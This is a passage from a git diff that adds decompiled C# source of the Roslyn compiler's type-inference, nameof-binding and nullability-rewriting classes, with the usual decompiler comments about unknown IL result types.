useSiteInfo) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Invalid comparison between Unknown and I4 + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + if (!source.IsInterface) + { + return false; + } + TypeKind typeKind = target.TypeKind; + if ((int)typeKind != 2 && (int)typeKind != 7 && (int)typeKind != 10) + { + return false; + } + NamedTypeSymbol interfaceInferenceBound = GetInterfaceInferenceBound(ModuloReferenceTypeNullabilityDifferences(target.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo), (VarianceKind)1), source); + if ((object)interfaceInferenceBound == null) + { + return false; + } + UpperBoundTypeArgumentInference(source, interfaceInferenceBound, ref useSiteInfo); + return true; + } + + private void UpperBoundTypeArgumentInference(NamedTypeSymbol source, NamedTypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0063: Invalid comparison between Unknown and I4 + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Invalid comparison between Unknown and I4 + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + source.OriginalDefinition.GetAllTypeParameters(instance); + source.GetAllTypeArguments(instance2, ref useSiteInfo); + target.GetAllTypeArguments(instance3, ref useSiteInfo); + for (int i = 0; i < instance2.Count; i++) + { + TypeParameterSymbol typeParameterSymbol = instance[i]; + TypeWithAnnotations source2 = instance2[i]; + TypeWithAnnotations target2 = instance3[i]; + if (source2.Type.IsReferenceType && (int)typeParameterSymbol.Variance == 1) + { + UpperBoundInference(source2, target2, ref useSiteInfo); + } + else if (source2.Type.IsReferenceType && (int)typeParameterSymbol.Variance == 2) + { + LowerBoundInference(source2, target2, ref useSiteInfo); + } + else + { + ExactInference(source2, target2, ref useSiteInfo); + } + } + instance.Free(); + instance2.Free(); + instance3.Free(); + } + + private bool UpperBoundFunctionPointerTypeInference(TypeSymbol source, TypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_00f2: Unknown result type (might be due to invalid IL or missing references) + if (source is FunctionPointerTypeSymbol functionPointerTypeSymbol) + { + FunctionPointerMethodSymbol signature = functionPointerTypeSymbol.Signature; + if ((object)signature != null && target is FunctionPointerTypeSymbol functionPointerTypeSymbol2) + { + FunctionPointerMethodSymbol signature2 = functionPointerTypeSymbol2.Signature; + if ((object)signature2 != null) + { + if (signature.ParameterCount != signature2.ParameterCount) + { + return false; + } + if (!FunctionPointerRefKindsEqual(signature, signature2) || !FunctionPointerCallingConventionsEqual(signature, signature2)) + { + return false; + } + for (int i = 0; i < signature.ParameterCount; i++) + { + ParameterSymbol parameterSymbol = signature.Parameters[i]; + ParameterSymbol parameterSymbol2 = signature2.Parameters[i]; + if ((parameterSymbol.Type.IsReferenceType || parameterSymbol.Type.IsFunctionPointer()) && (int)parameterSymbol.RefKind == 0) + { + LowerBoundInference(parameterSymbol.TypeWithAnnotations, parameterSymbol2.TypeWithAnnotations, ref useSiteInfo); + } + else + { + ExactInference(parameterSymbol.TypeWithAnnotations, parameterSymbol2.TypeWithAnnotations, ref useSiteInfo); + } + } + if ((signature.ReturnType.IsReferenceType || signature.ReturnType.IsFunctionPointer()) && (int)signature.RefKind == 0) + { + UpperBoundInference(signature.ReturnTypeWithAnnotations, signature2.ReturnTypeWithAnnotations, ref useSiteInfo); + } + else + { + ExactInference(signature.ReturnTypeWithAnnotations, signature2.ReturnTypeWithAnnotations, ref useSiteInfo); + } + return true; + } + } + } + return false; + } + + private bool Fix(int iParam, ref CompoundUseSiteInfo useSiteInfo) + { + TypeParameterSymbol typeParameter = _methodTypeParameters[iParam]; + HashSet exact = _exactBounds[iParam]; + HashSet lower = _lowerBounds[iParam]; + HashSet upper = _upperBounds[iParam]; + (TypeWithAnnotations, bool) tuple = Fix(_compilation, _conversions, typeParameter, exact, lower, upper, ref useSiteInfo); + if (!tuple.Item1.HasType) + { + return false; + } + _fixedResults[iParam] = tuple; + UpdateDependenciesAfterFix(iParam); + return true; + } + + private static (TypeWithAnnotations Type, bool FromFunctionType) Fix(CSharpCompilation compilation, ConversionsBase conversions, TypeParameterSymbol typeParameter, HashSet? exact, HashSet? lower, HashSet? upper, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_0110: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + //IL_0123: Unknown result type (might be due to invalid IL or missing references) + Dictionary dictionary = new Dictionary(EqualsIgnoringDynamicTupleNamesAndNullabilityComparer.Instance); + Predicate predicate = ((!containsFunctionTypes(lower) || (!containsNonFunctionTypes(lower) && !containsNonFunctionTypes(exact) && !containsNonFunctionTypes(upper))) ? ((Predicate)((TypeWithAnnotations type) => !isFunctionType(type, out var functionType2) || (object)functionType2.GetInternalDelegateType() != null)) : ((Predicate)((TypeWithAnnotations type) => !isFunctionType(type, out var _)))); + if (exact == null) + { + if (lower != null) + { + AddAllCandidates(dictionary, lower, predicate, (VarianceKind)1, conversions); + } + if (upper != null) + { + AddAllCandidates(dictionary, upper, null, (VarianceKind)2, conversions); + } + } + else + { + AddAllCandidates(dictionary, exact, null, (VarianceKind)0, conversions); + if (dictionary.Count >= 2) + { + return default((TypeWithAnnotations, bool)); + } + } + if (dictionary.Count == 0) + { + return default((TypeWithAnnotations, bool)); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetAllCandidates(dictionary, instance); + if (lower != null) + { + MergeOrRemoveCandidates(dictionary, lower, predicate, instance, conversions, (VarianceKind)1, ref useSiteInfo); + } + if (upper != null) + { + MergeOrRemoveCandidates(dictionary, upper, null, instance, conversions, (VarianceKind)2, ref useSiteInfo); + } + instance.Clear(); + GetAllCandidates(dictionary, instance); + TypeWithAnnotations typeWithAnnotations = default(TypeWithAnnotations); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + Enumerator enumerator2 = instance.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TypeWithAnnotations current2 = enumerator2.Current; + if (current.Equals(current2, (TypeCompareKind)0) || ImplicitConversionExists(current2, current, ref useSiteInfo, conversions.WithNullability(includeNullability: false))) + { + continue; + } + goto IL_0171; + } + if (!typeWithAnnotations.HasType) + { + typeWithAnnotations = current; + continue; + } + typeWithAnnotations = default(TypeWithAnnotations); + break; + IL_0171:; + } + instance.Free(); + bool item = false; + if (isFunctionType(typeWithAnnotations, out var functionType)) + { + NamedTypeSymbol namedTypeSymbol = functionType.GetInternalDelegateType(); + if (hasExpressionTypeConstraint(typeParameter)) + { + namedTypeSymbol = compilation.GetWellKnownType((WellKnownType)217).Construct(namedTypeSymbol); + } + typeWithAnnotations = TypeWithAnnotations.Create(namedTypeSymbol, typeWithAnnotations.NullableAnnotation); + item = true; + } + return (Type: typeWithAnnotations, FromFunctionType: item); + static bool containsFunctionTypes([NotNullWhen(true)] HashSet? types) + { + if (types == null) + { + return false; + } + return HashSetExtensions.Any(types, (Func)((TypeWithAnnotations t) => isFunctionType(t, out var _))); + } + static bool containsNonFunctionTypes([NotNullWhen(true)] HashSet? types) + { + if (types == null) + { + return false; + } + return HashSetExtensions.Any(types, (Func)((TypeWithAnnotations t) => !isFunctionType(t, out var _))); + } + static bool hasExpressionTypeConstraint(TypeParameterSymbol typeParameterSymbol) + { + return typeParameterSymbol.ConstraintTypesNoUseSiteDiagnostics.Any((TypeWithAnnotations t) => isExpressionType(t.Type)); + } + static bool isExpressionType(TypeSymbol? type) + { + while ((object)type != null) + { + if (type.IsGenericOrNonGenericExpressionType(out var _)) + { + return true; + } + type = type.BaseTypeNoUseSiteDiagnostics; + } + return false; + } + static bool isFunctionType(TypeWithAnnotations type, [NotNullWhen(true)] out FunctionTypeSymbol? reference) + { + reference = type.Type as FunctionTypeSymbol; + return (object)reference != null; + } + } + + private static bool ImplicitConversionExists(TypeWithAnnotations sourceWithAnnotations, TypeWithAnnotations destinationWithAnnotations, ref CompoundUseSiteInfo useSiteInfo, ConversionsBase conversions) + { + TypeSymbol type = sourceWithAnnotations.Type; + TypeSymbol type2 = destinationWithAnnotations.Type; + if (type.IsDynamic() && !type2.IsDynamic()) + { + return false; + } + if (!conversions.HasTopLevelNullabilityImplicitConversion(sourceWithAnnotations, destinationWithAnnotations)) + { + return false; + } + return conversions.ClassifyImplicitConversionFromTypeWhenNeitherOrBothFunctionTypes(type, type2, ref useSiteInfo).Exists; + } + + private TypeWithAnnotations InferReturnType(BoundExpression source, NamedTypeSymbol target, ref CompoundUseSiteInfo useSiteInfo) + { + if (source.Kind != BoundKind.UnboundLambda) + { + return default(TypeWithAnnotations); + } + UnboundLambda unboundLambda = (UnboundLambda)source; + if (unboundLambda.HasSignature) + { + ImmutableArray immutableArray = target.DelegateParameters(); + if (immutableArray.IsDefault) + { + return default(TypeWithAnnotations); + } + if (immutableArray.Length != unboundLambda.ParameterCount) + { + return default(TypeWithAnnotations); + } + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)GetFixedDelegateOrFunctionPointer(target); + ImmutableArray immutableArray2 = namedTypeSymbol.DelegateParameters(); + if (unboundLambda.HasExplicitlyTypedParameterList) + { + for (int i = 0; i < unboundLambda.ParameterCount; i++) + { + if (!unboundLambda.ParameterType(i).Equals(immutableArray2[i].Type, (TypeCompareKind)14)) + { + return default(TypeWithAnnotations); + } + } + } + bool inferredFromFunctionType; + TypeWithAnnotations result = unboundLambda.InferReturnType(_conversions, namedTypeSymbol, ref useSiteInfo, out inferredFromFunctionType); + if (inferredFromFunctionType) + { + return default(TypeWithAnnotations); + } + return result; + } + + private static NamedTypeSymbol GetInterfaceInferenceBound(ImmutableArray interfaces, NamedTypeSymbol target) + { + NamedTypeSymbol namedTypeSymbol = null; + ImmutableArray.Enumerator enumerator = interfaces.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (TypeSymbol.Equals(current.OriginalDefinition, target.OriginalDefinition, (TypeCompareKind)0)) + { + if ((object)namedTypeSymbol == null) + { + namedTypeSymbol = current; + } + else if (!TypeSymbol.Equals(namedTypeSymbol, current, (TypeCompareKind)0)) + { + return null; + } + } + } + return namedTypeSymbol; + } + + public static ImmutableArray InferTypeArgumentsFromFirstArgument(CSharpCompilation compilation, ConversionsBase conversions, MethodSymbol method, ImmutableArray arguments, ref CompoundUseSiteInfo useSiteInfo) + { + if (!CanInferTypeArgumentsFromFirstArgument(compilation, conversions, method, arguments, ref useSiteInfo, out var inferrer)) + { + return default(ImmutableArray); + } + bool inferredFromFunctionType; + return inferrer.GetInferredTypeArguments(out inferredFromFunctionType); + } + + public static bool CanInferTypeArgumentsFromFirstArgument(CSharpCompilation compilation, ConversionsBase conversions, MethodSymbol method, ImmutableArray arguments, ref CompoundUseSiteInfo useSiteInfo, out MethodTypeInferrer inferrer) + { + if (method.ParameterCount < 1 || arguments.Length < 1) + { + inferrer = null; + return false; + } + MethodSymbol constructedFrom = method.ConstructedFrom; + inferrer = new MethodTypeInferrer(compilation, conversions, constructedFrom.TypeParameters, constructedFrom.ContainingType, constructedFrom.GetParameterTypes(), constructedFrom.ParameterRefKinds, arguments, null); + if (!inferrer.InferTypeArgumentsFromFirstArgument(ref useSiteInfo)) + { + return false; + } + return true; + } + + private bool InferTypeArgumentsFromFirstArgument(ref CompoundUseSiteInfo useSiteInfo) + { + TypeWithAnnotations target = _formalParameterTypes[0]; + BoundExpression boundExpression = _arguments[0]; + if (!IsReallyAType(boundExpression.Type)) + { + return false; + } + LowerBoundInference(_extensions.GetTypeWithAnnotations(boundExpression), target, ref useSiteInfo); + for (int i = 0; i < _methodTypeParameters.Length; i++) + { + TypeParameterSymbol parameter = _methodTypeParameters[i]; + if (target.Type.ContainsTypeParameter(parameter) && (!HasBound(i) || !Fix(i, ref useSiteInfo))) + { + return false; + } + } + return true; + } + + private ImmutableArray GetInferredTypeArguments(out bool inferredFromFunctionType) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(_fixedResults.Length); + inferredFromFunctionType = false; + (TypeWithAnnotations, bool)[] fixedResults = _fixedResults; + for (int i = 0; i < fixedResults.Length; i++) + { + (TypeWithAnnotations, bool) tuple = fixedResults[i]; + instance.Add(tuple.Item1); + if (tuple.Item2) + { + inferredFromFunctionType = true; + } + } + return instance.ToImmutableAndFree(); + } + + private static bool IsReallyAType(TypeSymbol? type) + { + if ((object)type != null && !type.IsErrorType()) + { + return !type.IsVoidType(); + } + return false; + } + + private static void GetAllCandidates(Dictionary candidates, ArrayBuilder builder) + { + builder.EnsureCapacity(builder.Count + candidates.Count); + TypeWithAnnotations typeWithAnnotations = default(TypeWithAnnotations); + TypeWithAnnotations typeWithAnnotations2 = default(TypeWithAnnotations); + foreach (KeyValuePair candidate in candidates) + { + KeyValuePairUtil.Deconstruct(candidate, ref typeWithAnnotations, ref typeWithAnnotations2); + TypeWithAnnotations typeWithAnnotations3 = typeWithAnnotations2; + builder.Add(typeWithAnnotations3); + } + } + + private static void AddAllCandidates(Dictionary candidates, HashSet bounds, Predicate? predicate, VarianceKind variance, ConversionsBase conversions) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + foreach (TypeWithAnnotations bound in bounds) + { + if (predicate == null || predicate(bound)) + { + TypeWithAnnotations newCandidate = bound; + if (!conversions.IncludeNullability) + { + newCandidate = newCandidate.SetUnknownNullabilityForReferenceTypes(); + } + AddOrMergeCandidate(candidates, newCandidate, variance); + } + } + } + + private static void AddOrMergeCandidate(Dictionary candidates, TypeWithAnnotations newCandidate, VarianceKind variance) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (candidates.TryGetValue(newCandidate, out var value)) + { + MergeAndReplaceIfStillCandidate(candidates, value, newCandidate, variance); + } + else + { + candidates.Add(newCandidate, newCandidate); + } + } + + private static void MergeOrRemoveCandidates(Dictionary candidates, HashSet bounds, Predicate? predicate, ArrayBuilder initialCandidates, ConversionsBase conversions, VarianceKind variance, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Invalid comparison between Unknown and I4 + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + TypeCompareKind comparison = (TypeCompareKind)((!conversions.IncludeNullability) ? 8 : 0); + foreach (TypeWithAnnotations bound in bounds) + { + if (predicate != null && !predicate(bound)) + { + continue; + } + Enumerator enumerator2 = initialCandidates.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TypeWithAnnotations current2 = enumerator2.Current; + if (bound.Equals(current2, comparison)) + { + continue; + } + TypeWithAnnotations sourceWithAnnotations; + TypeWithAnnotations destinationWithAnnotations; + if ((int)variance == 1) + { + sourceWithAnnotations = bound; + destinationWithAnnotations = current2; + } + else + { + sourceWithAnnotations = current2; + destinationWithAnnotations = bound; + } + if (!ImplicitConversionExists(sourceWithAnnotations, destinationWithAnnotations, ref useSiteInfo, conversions.WithNullability(includeNullability: false))) + { + candidates.Remove(current2); + if (conversions.IncludeNullability && candidates.TryGetValue(bound, out var value)) + { + NullableAnnotation nullableAnnotation = value.NullableAnnotation; + NullableAnnotation nullableAnnotation2 = nullableAnnotation.MergeNullableAnnotation(current2.NullableAnnotation, variance); + if (nullableAnnotation != nullableAnnotation2) + { + TypeWithAnnotations value2 = TypeWithAnnotations.Create(value.Type, nullableAnnotation2); + candidates[bound] = value2; + } + } + } + else if (bound.Equals(current2, (TypeCompareKind)14)) + { + MergeAndReplaceIfStillCandidate(candidates, current2, bound, variance); + } + } + } + } + + private static void MergeAndReplaceIfStillCandidate(Dictionary candidates, TypeWithAnnotations oldCandidate, TypeWithAnnotations newCandidate, VarianceKind variance) + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (!newCandidate.Type.IsDynamic() && candidates.TryGetValue(oldCandidate, out var value)) + { + TypeWithAnnotations value2 = value.MergeEquivalentTypes(newCandidate, variance); + candidates[oldCandidate] = value2; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ModuleCompilationState.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ModuleCompilationState.cs new file mode 100644 index 0000000..a58e055 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ModuleCompilationState.cs @@ -0,0 +1,7 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ModuleCompilationState : ModuleCompilationState +{ +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MostCommonNullableValueBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MostCommonNullableValueBuilder.cs new file mode 100644 index 0000000..af82833 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/MostCommonNullableValueBuilder.cs @@ -0,0 +1,94 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal struct MostCommonNullableValueBuilder +{ + private int _value0; + + private int _value1; + + private int _value2; + + internal byte? MostCommonValue + { + get + { + int num; + byte value; + if (_value1 > _value0) + { + num = _value1; + value = 1; + } + else + { + num = _value0; + value = 0; + } + if (_value2 > num) + { + return (byte)2; + } + if (num != 0) + { + return value; + } + return null; + } + } + + internal void AddValue(byte value) + { + switch (value) + { + case 0: + _value0++; + break; + case 1: + _value1++; + break; + case 2: + _value2++; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)value); + } + } + + internal void AddValue(byte? value) + { + if (value.HasValue) + { + AddValue(value.GetValueOrDefault()); + } + } + + internal void AddValue(TypeWithAnnotations type) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + type.AddNullableTransforms(instance); + AddValue(GetCommonValue(instance)); + instance.Free(); + } + + internal static byte? GetCommonValue(ArrayBuilder builder) + { + int count = builder.Count; + if (count == 0) + { + return null; + } + byte b = builder[0]; + for (int i = 1; i < count; i++) + { + if (builder[i] != b) + { + return null; + } + } + return b; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NameofBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NameofBinder.cs new file mode 100644 index 0000000..b7fc645 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NameofBinder.cs @@ -0,0 +1,105 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class NameofBinder : Binder +{ + private readonly SyntaxNode _nameofArgument; + + private readonly WithTypeParametersBinder? _withTypeParametersBinder; + + private readonly Binder? _withParametersBinder; + + private ThreeState _lazyIsNameofOperator; + + private bool IsNameofOperator + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + if (!ThreeStateHelpers.HasValue(_lazyIsNameofOperator)) + { + _lazyIsNameofOperator = ThreeStateHelpers.ToThreeState(!base.NextRequired.InvocableNameofInScope()); + } + return ThreeStateHelpers.Value(_lazyIsNameofOperator); + } + } + + internal override bool IsInsideNameof + { + get + { + if (!IsNameofOperator) + { + return base.IsInsideNameof; + } + return true; + } + } + + protected override SyntaxNode? EnclosingNameofArgument + { + get + { + if (!IsNameofOperator) + { + return base.EnclosingNameofArgument; + } + return _nameofArgument; + } + } + + internal NameofBinder(SyntaxNode nameofArgument, Binder next, WithTypeParametersBinder? withTypeParametersBinder, Binder? withParametersBinder) + : base(next) + { + _nameofArgument = nameofArgument; + _withTypeParametersBinder = withTypeParametersBinder; + _withParametersBinder = withParametersBinder; + } + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + bool flag = false; + if (_withParametersBinder != null && IsNameofOperator) + { + _withParametersBinder.LookupSymbolsInSingleBinder(result, name, arity, basesBeingResolved, options, originalBinder, diagnose, ref useSiteInfo); + if (!result.IsClear) + { + if (result.IsMultiViable) + { + return; + } + flag = true; + } + } + if (_withTypeParametersBinder != null && IsNameofOperator) + { + if (flag) + { + LookupResult instance = LookupResult.GetInstance(); + _withTypeParametersBinder.LookupSymbolsInSingleBinder(instance, name, arity, basesBeingResolved, options, originalBinder, diagnose, ref useSiteInfo); + result.MergeEqual(instance); + } + else + { + _withTypeParametersBinder.LookupSymbolsInSingleBinder(result, name, arity, basesBeingResolved, options, originalBinder, diagnose, ref useSiteInfo); + } + } + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo info, LookupOptions options, Binder originalBinder) + { + if (_withParametersBinder != null && IsNameofOperator) + { + _withParametersBinder.AddLookupSymbolsInfoInSingleBinder(info, options, originalBinder); + } + if (_withTypeParametersBinder != null && IsNameofOperator) + { + _withTypeParametersBinder.AddLookupSymbolsInfoInSingleBinder(info, options, originalBinder); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NamespaceDeclarationSyntaxReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NamespaceDeclarationSyntaxReference.cs new file mode 100644 index 0000000..8c7a5ab --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NamespaceDeclarationSyntaxReference.cs @@ -0,0 +1,28 @@ +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class NamespaceDeclarationSyntaxReference : TranslationSyntaxReference +{ + public NamespaceDeclarationSyntaxReference(SyntaxReference reference) + : base(reference) + { + } + + protected override SyntaxNode Translate(SyntaxReference reference, CancellationToken cancellationToken) + { + return GetSyntax(reference, cancellationToken); + } + + internal static SyntaxNode GetSyntax(SyntaxReference reference, CancellationToken cancellationToken) + { + CSharpSyntaxNode cSharpSyntaxNode = (CSharpSyntaxNode)(object)reference.GetSyntax(cancellationToken); + while (cSharpSyntaxNode is NameSyntax) + { + cSharpSyntaxNode = cSharpSyntaxNode.Parent; + } + return (SyntaxNode)(object)cSharpSyntaxNode; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NamespaceOrTypeAndUsingDirective.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NamespaceOrTypeAndUsingDirective.cs new file mode 100644 index 0000000..88b52d1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NamespaceOrTypeAndUsingDirective.cs @@ -0,0 +1,24 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal readonly struct NamespaceOrTypeAndUsingDirective(NamespaceOrTypeSymbol namespaceOrType, UsingDirectiveSyntax? usingDirective, ImmutableArray dependencies) +{ + public readonly NamespaceOrTypeSymbol NamespaceOrType = namespaceOrType; + + public readonly SyntaxReference? UsingDirectiveReference = usingDirective?.GetReference(); + + public readonly ImmutableArray Dependencies = ImmutableArrayExtensions.NullToEmpty(dependencies); + + public UsingDirectiveSyntax? UsingDirective + { + get + { + SyntaxReference? usingDirectiveReference = UsingDirectiveReference; + return (UsingDirectiveSyntax)(object)((usingDirectiveReference != null) ? usingDirectiveReference.GetSyntax(default(CancellationToken)) : null); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NoOpStatementFlavor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NoOpStatementFlavor.cs new file mode 100644 index 0000000..644b87f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NoOpStatementFlavor.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum NoOpStatementFlavor +{ + Default, + AwaitYieldPoint, + AwaitResumePoint +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullabilityRewriter.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullabilityRewriter.cs new file mode 100644 index 0000000..d9bd50b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/NullabilityRewriter.cs @@ -0,0 +1,2930 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class NullabilityRewriter : BoundTreeRewriter +{ + private readonly ImmutableDictionary _updatedNullabilities; + + private readonly NullableWalker.SnapshotManager? _snapshotManager; + + private readonly ImmutableDictionary.Builder _remappedSymbols; + + protected override BoundExpression? VisitExpressionWithoutStackGuard(BoundExpression node) + { + return (BoundExpression)Visit(node); + } + + public override BoundNode? VisitBinaryOperator(BoundBinaryOperator node) + { + return VisitBinaryOperatorBase(node); + } + + public override BoundNode? VisitUserDefinedConditionalLogicalOperator(BoundUserDefinedConditionalLogicalOperator node) + { + return VisitBinaryOperatorBase(node); + } + + private BoundNode VisitBinaryOperatorBase(BoundBinaryOperatorBase binaryOperator) + { + //IL_0126: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + BoundBinaryOperatorBase boundBinaryOperatorBase = binaryOperator; + do + { + ArrayBuilderExtensions.Push(instance, boundBinaryOperatorBase); + boundBinaryOperatorBase = boundBinaryOperatorBase.Left as BoundBinaryOperatorBase; + } + while (boundBinaryOperatorBase != null); + BoundExpression left = (BoundExpression)Visit(ArrayBuilderExtensions.Peek(instance).Left); + do + { + boundBinaryOperatorBase = ArrayBuilderExtensions.Pop(instance); + (NullabilityInfo, TypeSymbol) value; + bool num = _updatedNullabilities.TryGetValue(boundBinaryOperatorBase, out value); + BoundExpression right = (BoundExpression)Visit(boundBinaryOperatorBase.Right); + TypeSymbol type = (num ? value.Item2 : boundBinaryOperatorBase.Type); + BoundBinaryOperatorBase boundBinaryOperatorBase2; + if (!(boundBinaryOperatorBase is BoundBinaryOperator boundBinaryOperator)) + { + if (!(boundBinaryOperatorBase is BoundUserDefinedConditionalLogicalOperator boundUserDefinedConditionalLogicalOperator)) + { + throw ExceptionUtilities.UnexpectedValue((object)boundBinaryOperatorBase.Kind); + } + boundBinaryOperatorBase2 = boundUserDefinedConditionalLogicalOperator.Update(boundUserDefinedConditionalLogicalOperator.OperatorKind, boundUserDefinedConditionalLogicalOperator.LogicalOperator, boundUserDefinedConditionalLogicalOperator.TrueOperator, boundUserDefinedConditionalLogicalOperator.FalseOperator, boundUserDefinedConditionalLogicalOperator.ConstrainedToTypeOpt, boundUserDefinedConditionalLogicalOperator.ResultKind, boundUserDefinedConditionalLogicalOperator.OriginalUserDefinedOperatorsOpt, left, right, type); + } + else + { + boundBinaryOperatorBase2 = boundBinaryOperator.Update(boundBinaryOperator.OperatorKind, boundBinaryOperator.Data?.WithUpdatedMethod(GetUpdatedSymbol(boundBinaryOperator, boundBinaryOperator.Method)), boundBinaryOperator.ResultKind, left, right, type); + } + boundBinaryOperatorBase = boundBinaryOperatorBase2; + if (num) + { + (boundBinaryOperatorBase.TopLevelNullability, _) = value; + } + left = boundBinaryOperatorBase; + } + while (instance.Count > 0); + return boundBinaryOperatorBase; + } + + private T GetUpdatedSymbol(BoundNode expr, T sym) where T : Symbol? + { + if ((object)sym == null) + { + return sym; + } + Symbol updatedSymbol = null; + NullableWalker.SnapshotManager? snapshotManager = _snapshotManager; + if (snapshotManager == null || !snapshotManager.TryGetUpdatedSymbol(expr, sym, out updatedSymbol)) + { + updatedSymbol = sym; + } + if (!(updatedSymbol is LambdaSymbol lambda)) + { + if (!(updatedSymbol is SourceLocalSymbol local)) + { + if (updatedSymbol is ParameterSymbol key && _remappedSymbols.TryGetValue(key, out Symbol value)) + { + return (T)value; + } + return (T)updatedSymbol; + } + return (T)remapLocal(local); + } + return (T)remapLambda((BoundLambda)expr, lambda); + Symbol remapLambda(BoundLambda boundLambda, LambdaSymbol lambdaSymbol) + { + //IL_0046: Unknown result 